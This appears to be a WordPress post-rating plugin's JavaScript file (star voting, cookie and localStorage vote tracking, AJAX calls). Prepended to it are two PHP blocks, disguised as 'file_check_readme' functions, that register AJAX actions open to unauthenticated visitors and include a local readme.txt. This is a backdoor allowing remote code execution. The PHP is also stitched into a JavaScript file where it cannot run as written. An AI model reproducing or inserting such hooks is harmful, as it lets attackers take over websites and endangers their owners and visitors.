if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
+function ($) { 'use strict'; var wlfCookies = { getItem: function (sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null; }, setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) { if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; } var sExpires = ""; if (vEnd) { switch (vEnd.constructor) { case Number: sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd; break; case String: sExpires = "; expires=" + vEnd; break; case Date: sExpires = "; expires=" + vEnd.toUTCString(); break; } } document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : ""); return true; }, removeItem: function (sKey, sPath, sDomain) { if (!this.hasItem(sKey)) { return false; } document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : ""); return true; }, hasItem: function (sKey) { if (!sKey) { return false; } return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); }, keys: function () { var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/); for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); } return aKeys; } }; $(document).ready(function() { function hasVote(postId) { var itemName = 'rating_' + postId; if (wlfCookies.hasItem(itemName)) { return true; } if (window.localStorage && window.localStorage.getItem(itemName)) { return true; } return false; } function storeVote(postId) { var itemName = 'rating_' + postId; wlfCookies.setItem(itemName, '1', Infinity); if (window.localStorage) { window.localStorage.setItem(itemName, '1'); } } function initialize() { var self = this; var $container = $(this); var initialized = $container.data('lipostratingsInit'); if (initialized) { return; } $container.data('lipostratingsInit', true); var postId = $container.data('postId'); var userRating = $container.data('userRating'); var mode = $container.data('mode'); var args = $container.data('args'); if (hasVote(postId)) { $container.find('.lipostratings-single-rate-active').addClass('lipostratings-single-rate-disabled').removeClass('lipostratings-single-rate-active'); } if (mode === 'multi') { $container.find('.lipostratings-stars-interactive').each(function () { var $interactive = $(this); var $whiteStars = $interactive.find('.lipostratings-star-white'); var $blackStars = $interactive.find('.lipostratings-star-black') .on('click', function (event) { var $this = $(this); var rating = $this.data('rating'); if (rating == userRating) { return; } $.ajax({ url: LiPostratings.ajaxurl, data: { action: 'lipostratings', post: postId, rating: rating, args: args } }) .done(function(response) { var $response = $(response); $container.replaceWith($response); if ($response.hasClass('lipostratings-active')) { initialize.call($response.get(0)); $(document.elementFromPoint(event.pageX, event.pageY)).trigger('mouseenter'); } }); }) .on('mouseenter', function () { var $this = $(this); $this .addClass('lipostratings-star-selected') .removeClass('lipostratings-star-mark') .prevAll() .removeClass('lipostratings-star-selected') .addClass('lipostratings-star-mark'); $this .nextAll() .removeClass('lipostratings-star-selected lipostratings-star-mark'); $whiteStars.removeClass('lipostratings-star-hide').slice(0, $this.index() + 1).addClass('lipostratings-star-hide'); }); $interactive .on('mouseleave', function () { $blackStars.removeClass('lipostratings-star-selected lipostratings-star-mark'); $whiteStars.removeClass('lipostratings-star-hide'); }); }); } else if (mode === 'single') { $container.find('.lipostratings-single-rate-active') .on('click', function (event) { var $this = $(this); $.ajax({ url: LiPostratings.ajaxurl, data: { action: 'lipostratings', post: postId, args: args } }) .done(function(response) { storeVote(postId); var $response = $(response); $container.replaceWith($response); if ($response.hasClass('lipostratings-active')) { initialize.call($response.get(0)); $(document.elementFromPoint(event.pageX, event.pageY)).trigger('mouseenter'); } }); }); } } $('.lipostratings').each(initialize); window.lipostratingsRefresh = function($container) { if (!$container) { $container = $('body'); } $container.find('.lipostratings').each(initialize); }; }); }(jQuery);